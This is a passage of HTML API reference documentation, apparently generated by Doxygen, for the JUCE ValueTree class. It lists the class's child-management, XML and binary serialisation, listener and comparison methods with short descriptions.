class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae3c7ef24e903b145e7885820898240cb"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ae3c7ef24e903b145e7885820898240cb">getChild</a> (int index) const </td></tr> <tr class="memdesc:ae3c7ef24e903b145e7885820898240cb"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns one of this node's child nodes. <a href="#ae3c7ef24e903b145e7885820898240cb"></a><br/></td></tr> <tr class="separator:ae3c7ef24e903b145e7885820898240cb"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a00e9d09ad2439b9eb5cb79cb146c5a73"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a00e9d09ad2439b9eb5cb79cb146c5a73">getChildWithName</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;type) const </td></tr> <tr class="memdesc:a00e9d09ad2439b9eb5cb79cb146c5a73"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the first child node with the specified type name. <a href="#a00e9d09ad2439b9eb5cb79cb146c5a73"></a><br/></td></tr> <tr class="separator:a00e9d09ad2439b9eb5cb79cb146c5a73"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aafb29876616f005939915de3e6968818"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#aafb29876616f005939915de3e6968818">getOrCreateChildWithName</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;type, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:aafb29876616f005939915de3e6968818"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the first child node with the specified type name, creating and adding a child with this name if there wasn't already one there. <a href="#aafb29876616f005939915de3e6968818"></a><br/></td></tr> <tr class="separator:aafb29876616f005939915de3e6968818"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a99c2e890ecbed6c7fab83c1a95d824a6"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a99c2e890ecbed6c7fab83c1a95d824a6">getChildWithProperty</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;propertyName, const <a class="el" href="classvar.html">var</a> &amp;propertyValue) const </td></tr> <tr class="memdesc:a99c2e890ecbed6c7fab83c1a95d824a6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Looks for the first child node that has the specified property value. <a href="#a99c2e890ecbed6c7fab83c1a95d824a6"></a><br/></td></tr> <tr class="separator:a99c2e890ecbed6c7fab83c1a95d824a6"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a93d639299ef9dfedc651544e05f06693"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a93d639299ef9dfedc651544e05f06693">addChild</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;child, int index, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:a93d639299ef9dfedc651544e05f06693"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds a child to this node. <a href="#a93d639299ef9dfedc651544e05f06693"></a><br/></td></tr> <tr class="separator:a93d639299ef9dfedc651544e05f06693"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a52b15bdb0b4a04b81c04e7059bb926c4"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a52b15bdb0b4a04b81c04e7059bb926c4">removeChild</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;child, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:a52b15bdb0b4a04b81c04e7059bb926c4"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes the specified child from this node's child-list. <a href="#a52b15bdb0b4a04b81c04e7059bb926c4"></a><br/></td></tr> <tr class="separator:a52b15bdb0b4a04b81c04e7059bb926c4"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a3bee3734652dec6bb1d5c351a1268fc0"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a3bee3734652dec6bb1d5c351a1268fc0">removeChild</a> (int childIndex, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:a3bee3734652dec6bb1d5c351a1268fc0"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes a child from this node's child-list. <a href="#a3bee3734652dec6bb1d5c351a1268fc0"></a><br/></td></tr> <tr class="separator:a3bee3734652dec6bb1d5c351a1268fc0"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a91f8a28e02a782b0c95f855d0c29f0d9"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a91f8a28e02a782b0c95f855d0c29f0d9">removeAllChildren</a> (<a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:a91f8a28e02a782b0c95f855d0c29f0d9"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes all child-nodes from this node. <a href="#a91f8a28e02a782b0c95f855d0c29f0d9"></a><br/></td></tr> <tr class="separator:a91f8a28e02a782b0c95f855d0c29f0d9"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab7d20bf6964bfc8c4a975543bca8ce53"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ab7d20bf6964bfc8c4a975543bca8ce53">moveChild</a> (int currentIndex, int newIndex, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:ab7d20bf6964bfc8c4a975543bca8ce53"><td class="mdescLeft">&#160;</td><td class="mdescRight">Moves one of the children to a different index. <a href="#ab7d20bf6964bfc8c4a975543bca8ce53"></a><br/></td></tr> <tr class="separator:ab7d20bf6964bfc8c4a975543bca8ce53"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad1973a657c1c2907c9996038e7e756fe"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ad1973a657c1c2907c9996038e7e756fe">isAChildOf</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;possibleParent) const noexcept</td></tr> <tr class="memdesc:ad1973a657c1c2907c9996038e7e756fe"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if this node is anywhere below the specified parent node. <a href="#ad1973a657c1c2907c9996038e7e756fe"></a><br/></td></tr> <tr class="separator:ad1973a657c1c2907c9996038e7e756fe"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aecc3e5c14e02f7ee3a958006d5146b78"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#aecc3e5c14e02f7ee3a958006d5146b78">indexOf</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;child) const noexcept</td></tr> <tr class="memdesc:aecc3e5c14e02f7ee3a958006d5146b78"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the index of a child item in this parent. <a href="#aecc3e5c14e02f7ee3a958006d5146b78"></a><br/></td></tr> <tr class="separator:aecc3e5c14e02f7ee3a958006d5146b78"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad22561c896d9bcdb763d27aacbb5815c"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ad22561c896d9bcdb763d27aacbb5815c">getParent</a> () const noexcept</td></tr> <tr class="memdesc:ad22561c896d9bcdb763d27aacbb5815c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the parent node that contains this one. <a href="#ad22561c896d9bcdb763d27aacbb5815c"></a><br/></td></tr> <tr class="separator:ad22561c896d9bcdb763d27aacbb5815c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a83099cde9f794842a2378c2935976a90"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a83099cde9f794842a2378c2935976a90">getSibling</a> (int delta) const noexcept</td></tr> <tr class="memdesc:a83099cde9f794842a2378c2935976a90"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns one of this node's siblings in its parent's child list. <a href="#a83099cde9f794842a2378c2935976a90"></a><br/></td></tr> <tr class="separator:a83099cde9f794842a2378c2935976a90"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad4b6941292f6ba19b1f4c7a91b82f957"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classXmlElement.html">XmlElement</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ad4b6941292f6ba19b1f4c7a91b82f957">createXml</a> () const </td></tr> <tr class="memdesc:ad4b6941292f6ba19b1f4c7a91b82f957"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an <a class="el" href="classXmlElement.html" title="Used to build a tree of elements representing an XML document.">XmlElement</a> that holds a complete image of this node and all its children. <a href="#ad4b6941292f6ba19b1f4c7a91b82f957"></a><br/></td></tr> <tr class="separator:ad4b6941292f6ba19b1f4c7a91b82f957"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4ac1da90e499eea7233b6eb7d0d7d190"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classString.html">String</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a4ac1da90e499eea7233b6eb7d0d7d190">toXmlString</a> () const </td></tr> <tr class="memdesc:a4ac1da90e499eea7233b6eb7d0d7d190"><td class="mdescLeft">&#160;</td><td class="mdescRight">This returns a string containing an XML representation of the tree. <a href="#a4ac1da90e499eea7233b6eb7d0d7d190"></a><br/></td></tr> <tr class="separator:a4ac1da90e499eea7233b6eb7d0d7d190"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0a2a0fa2cf051fef99cab56db74a4266"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a0a2a0fa2cf051fef99cab56db74a4266">writeToStream</a> (<a class="el" href="classOutputStream.html">OutputStream</a> &amp;output) const </td></tr> <tr class="memdesc:a0a2a0fa2cf051fef99cab56db74a4266"><td class="mdescLeft">&#160;</td><td class="mdescRight">Stores this tree (and all its children) in a binary format. <a href="#a0a2a0fa2cf051fef99cab56db74a4266"></a><br/></td></tr> <tr class="separator:a0a2a0fa2cf051fef99cab56db74a4266"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0a0d82471cb1119fc1a7b7018e3af394"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a0a0d82471cb1119fc1a7b7018e3af394">addListener</a> (<a class="el" href="classValueTree_1_1Listener.html">Listener</a> *listener)</td></tr> <tr class="memdesc:a0a0d82471cb1119fc1a7b7018e3af394"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds a listener to receive callbacks when this node is changed. <a href="#a0a0d82471cb1119fc1a7b7018e3af394"></a><br/></td></tr> <tr class="separator:a0a0d82471cb1119fc1a7b7018e3af394"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac8930aa94cb6e3714ef9e7449d08e5f6"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ac8930aa94cb6e3714ef9e7449d08e5f6">removeListener</a> (<a class="el" href="classValueTree_1_1Listener.html">Listener</a> *listener)</td></tr> <tr class="memdesc:ac8930aa94cb6e3714ef9e7449d08e5f6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes a listener that was previously added with <a class="el" href="classValueTree.html#a0a0d82471cb1119fc1a7b7018e3af394" title="Adds a listener to receive callbacks when this node is changed.">addListener()</a>. <a href="#ac8930aa94cb6e3714ef9e7449d08e5f6"></a><br/></td></tr> <tr class="separator:ac8930aa94cb6e3714ef9e7449d08e5f6"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a164ff183e358b982b1a1f5dd1176ab88"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a164ff183e358b982b1a1f5dd1176ab88">sendPropertyChangeMessage</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;property)</td></tr> <tr class="memdesc:a164ff183e358b982b1a1f5dd1176ab88"><td class="mdescLeft">&#160;</td><td class="mdescRight">Causes a property-change callback to be triggered for the specified property, calling any listeners that are registered. <a href="#a164ff183e358b982b1a1f5dd1176ab88"></a><br/></td></tr> <tr class="separator:a164ff183e358b982b1a1f5dd1176ab88"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:acdace65667e5bb2036310b4a91dd3a87"><td class="memTemplParams" colspan="2">template&lt;typename ElementComparator &gt; </td></tr> <tr class="memitem:acdace65667e5bb2036310b4a91dd3a87"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classValueTree.html#acdace65667e5bb2036310b4a91dd3a87">sort</a> (ElementComparator &amp;comparator, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager, bool retainOrderOfEquivalentItems)</td></tr> <tr class="memdesc:acdace65667e5bb2036310b4a91dd3a87"><td class="mdescLeft">&#160;</td><td class="mdescRight">This method uses a comparator object to sort the tree's children into order. <a href="#acdace65667e5bb2036310b4a91dd3a87"></a><br/></td></tr> <tr class="separator:acdace65667e5bb2036310b4a91dd3a87"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ade7c3497b915a14168d347b20258122d"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ade7c3497b915a14168d347b20258122d">getReferenceCount</a> () const noexcept</td></tr> <tr class="memdesc:ade7c3497b915a14168d347b20258122d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the total number of references to the shared underlying data structure that this <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> is using. <a href="#ade7c3497b915a14168d347b20258122d"></a><br/></td></tr> <tr class="separator:ade7c3497b915a14168d347b20258122d"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-static-methods"></a> Static Public Member Functions</h2></td></tr> <tr class="memitem:a0d2f1bdd6313e53f256ed015986f837a"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a0d2f1bdd6313e53f256ed015986f837a">fromXml</a> (const <a class="el" href="classXmlElement.html">XmlElement</a> &amp;xml)</td></tr> <tr class="memdesc:a0d2f1bdd6313e53f256ed015986f837a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Tries to recreate a node from its XML representation. <a href="#a0d2f1bdd6313e53f256ed015986f837a"></a><br/></td></tr> <tr class="separator:a0d2f1bdd6313e53f256ed015986f837a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad41a9e45b2d15699b4e27bed3b31109c"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ad41a9e45b2d15699b4e27bed3b31109c">readFromStream</a> (<a class="el" href="classInputStream.html">InputStream</a> &amp;input)</td></tr> <tr class="memdesc:ad41a9e45b2d15699b4e27bed3b31109c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Reloads a tree from a stream that was written with <a class="el" href="classValueTree.html#a0a2a0fa2cf051fef99cab56db74a4266" title="Stores this tree (and all its children) in a binary format.">writeToStream()</a>. <a href="#ad41a9e45b2d15699b4e27bed3b31109c"></a><br/></td></tr> <tr class="separator:ad41a9e45b2d15699b4e27bed3b31109c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9481d856db653baecf76032703858ca5"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a9481d856db653baecf76032703858ca5">readFromData</a> (const void *data, size_t numBytes)</td></tr> <tr class="memdesc:a9481d856db653baecf76032703858ca5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Reloads a tree from a data block that was written with <a class="el" href="classValueTree.html#a0a2a0fa2cf051fef99cab56db74a4266" title="Stores this tree (and all its children) in a binary format.">writeToStream()</a>. <a href="#a9481d856db653baecf76032703858ca5"></a><br/></td></tr> <tr class="separator:a9481d856db653baecf76032703858ca5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab5a0858a2f15fef8b61adb6aa2aadc63"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ab5a0858a2f15fef8b61adb6aa2aadc63">readFromGZIPData</a> (const void *data, size_t numBytes)</td></tr> <tr class="memdesc:ab5a0858a2f15fef8b61adb6aa2aadc63"><td class="mdescLeft">&#160;</td><td class="mdescRight">Reloads a tree from a data block that was written with <a class="el" href="classValueTree.html#a0a2a0fa2cf051fef99cab56db74a4266" title="Stores this tree (and all its children) in a binary format.">writeToStream()</a> and then zipped using <a class="el" href="classGZIPCompressorOutputStream.html" title="A stream which uses zlib to compress the data written into it.">GZIPCompressorOutputStream</a>. <a href="#ab5a0858a2f15fef8b61adb6aa2aadc63"></a><br/></td></tr> <tr class="separator:ab5a0858a2f15fef8b61adb6aa2aadc63"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-static-attribs"></a> Static Public Attributes</h2></td></tr> <tr class="memitem:af49e8bf1c5072d0722dff9ef81b84f68"><td class="memItemLeft" align="right" valign="top">static const <a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#af49e8bf1c5072d0722dff9ef81b84f68">invalid</a></td></tr> <tr class="memdesc:af49e8bf1c5072d0722dff9ef81b84f68"><td class="mdescLeft">&#160;</td><td class="mdescRight">An invalid <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> that can be used if you need to return one as an error condition, etc. <a href="#af49e8bf1c5072d0722dff9ef81b84f68"></a><br/></td></tr> <tr class="separator:af49e8bf1c5072d0722dff9ef81b84f68"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>A powerful tree structure that can be used to hold free-form data, and which can handle its own undo and redo behaviour. </p> <p>A <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> contains a list of named properties as var objects, and also holds any number of sub-trees.</p> <p>Create <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> objects on the stack, and don't be afraid to copy them around, as they're simply a lightweight reference to a shared data container. Creating a copy of another <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> simply creates a new reference to the same underlying object - to make a separate, deep copy of a tree you should explicitly call <a class="el" href="classValueTree.html#ad212f52a1dee540a97b256a57c881fed" title="Returns a deep copy of this tree and all its sub-nodes.">createCopy()</a>.</p> <p>Each <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> has a type name, in much the same way as an <a class="el" href="classXmlElement.html" title="Used to build a tree of elements representing an XML document.">XmlElement</a> has a tag name, and much of the structure of a <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> is similar to an <a class="el" href="classXmlElement.html" title="Used to build a tree of elements representing an XML document.">XmlElement</a> tree. You can convert a <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> to and from an <a class="el" href="classXmlElement.html" title="Used to build a tree of elements representing an XML document.">XmlElement</a>, and as long as the XML doesn't contain text elements, the conversion works well and makes a good serialisation format. They can also be serialised to a binary format, which is very fast and compact.</p> <p>All the methods that change data take an optional <a class="el" href="classUndoManager.html" title="Manages a list of undo/redo commands.">UndoManager</a>, which will be used to track any changes to the object. For this to work, you have to be careful to consistently always use the same <a class="el" href="classUndoManager.html" title="Manages a list of undo/redo commands.">UndoManager</a> for all operations to any node inside the tree.</p> <p>A <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> can only be a child of one parent at a time, so if you're moving one from one tree to another, be careful to always remove it first, before adding it. This could also mess up your undo/redo chain, so be wary! In a debug build you should hit assertions if you try to do anything dangerous, but there are still plenty of ways it could go wrong.</p> <p>Note that although the children in a tree have a fixed order, the properties are not guaranteed to be stored in any particular order, so don't expect that a property's index will correspond to the order in which the property was added, or that it will remain constant when other properties are added or removed.</p> <p>Listeners can be added to a <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> to be told when properies change and when nodes are added or removed.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classvar.html" title="A variant class, that can be used to hold a range of primitive values.">var</a>, <a class="el" href="classXmlElement.html" title="Used to build a tree of elements representing an XML document.">XmlElement</a> </dd></dl> </div><h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="ad5671081941b3db9db42bf7fcbd2629c"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ValueTree::ValueTree </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates an empty, invalid <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a>. </p> <p>A <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> that is created with this constructor can't actually be used for anything, it's just a default 'null' <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> that can be returned to indicate some sort of failure. To create a real one, use the constructor that takes a string.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#af49e8bf1c5072d0722dff9ef81b84f68" title="An invalid ValueTree that can be used if you need to return one as an error condition, etc.">ValueTree::invalid</a> </dd></dl> </div> </div> <a class="anchor" id="af2f66bc6973b9a7561af455bd6fb331c"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ValueTree::ValueTree </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>type</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">explicit</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates an empty <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> with the given type name. </p> <p>Like an <a class="el" href="classXmlElement.html" title="Used to build a tree of elements representing an XML document.">XmlElement</a>, each <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> node has a type, which you can access with <a class="el" href="classValueTree.html#aaba6256213ee02c418e9ef3d320f0ff1" title="Returns the type of this node.">getType()</a> and <a class="el" href="classValueTree.html#a5d41bc2066cae65b69aa614aa0f68ff1" title="Returns true if the node has this type.">hasType()</a>. </p> </div> </div> <a class="anchor" id="ac96c26d40b84ef461c1afb882453612c"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ValueTree::ValueTree </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates a reference to another <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a>. </p> </div> </div> <a class="anchor" id="a4e0b4721cb1ec7f79c59192df3b97bcc"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">ValueTree::~ValueTree </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="ac064e1f6095e5f21fc065d9f6b76a407"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValueTree.html">ValueTree</a>&amp; ValueTree::operator= </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Makes this object reference another node. </p> </div> </div> <a class="anchor" id="a998b47680444a00866db876dada8f254"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool ValueTree::operator== </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if both this and the other tree node refer to the same underlying structure. </p> <p>Note that this isn't a value comparison - two independently-created trees which contain identical data are not considered equal. </p> </div> </div> <a class="anchor" id="ae70dad6ed84e611492a1c682a83fcce5"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool ValueTree::operator!= </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if this and the other node refer to different underlying structures. </p> <p>Note that this isn't a value comparison - two independently-created trees which contain identical data are not considered equal. </p> </div> </div> <a class="anchor" id="a4fee40c899026e8ac370b5fd2ff30c99"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool ValueTree::isEquivalentTo </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Performs a deep comparison between the properties and children of two trees. </p> <p>If all the properties and children of the two trees are the same (recursively), this returns true. The normal <a class="el" href="classValueTree.html#a998b47680444a00866db876dada8f254" title="Returns true if both this and the other tree node refer to the same underlying structure.">operator==()</a> only checks whether two trees refer to the same shared data structure, so use this method if you need to do a proper value comparison. </p> </div> </div> <a class="anchor" id="a9c1506afbe6b840e4ab43fabf275845a"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool ValueTree::isValid </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if this node refers to some valid data. </p> <p>It's hard to create an invalid node, but you might get one returned, e.g. by an out-of-range call to <a class="el" href="classValueTree.html#ae3c7ef24e903b145e7885820898240cb" title="Returns one of this node&#39;s child nodes.">getChild()</a>. </p> </div> </div> <a class="anchor" id="ad212f52a1dee540a97b256a57c881fed"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValueTree.html">ValueTree</a> ValueTree::createCopy </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns a deep copy of this tree and all its sub-nodes. </p> </div> </div> <a class="anchor" id="aaba6256213ee02c418e9ef3d320f0ff1"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classIdentifier.html">Identifier</a> ValueTree::getType </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the type of this node. </p> <p>The type is specified when the <a class="el" href="classValueTree.html" 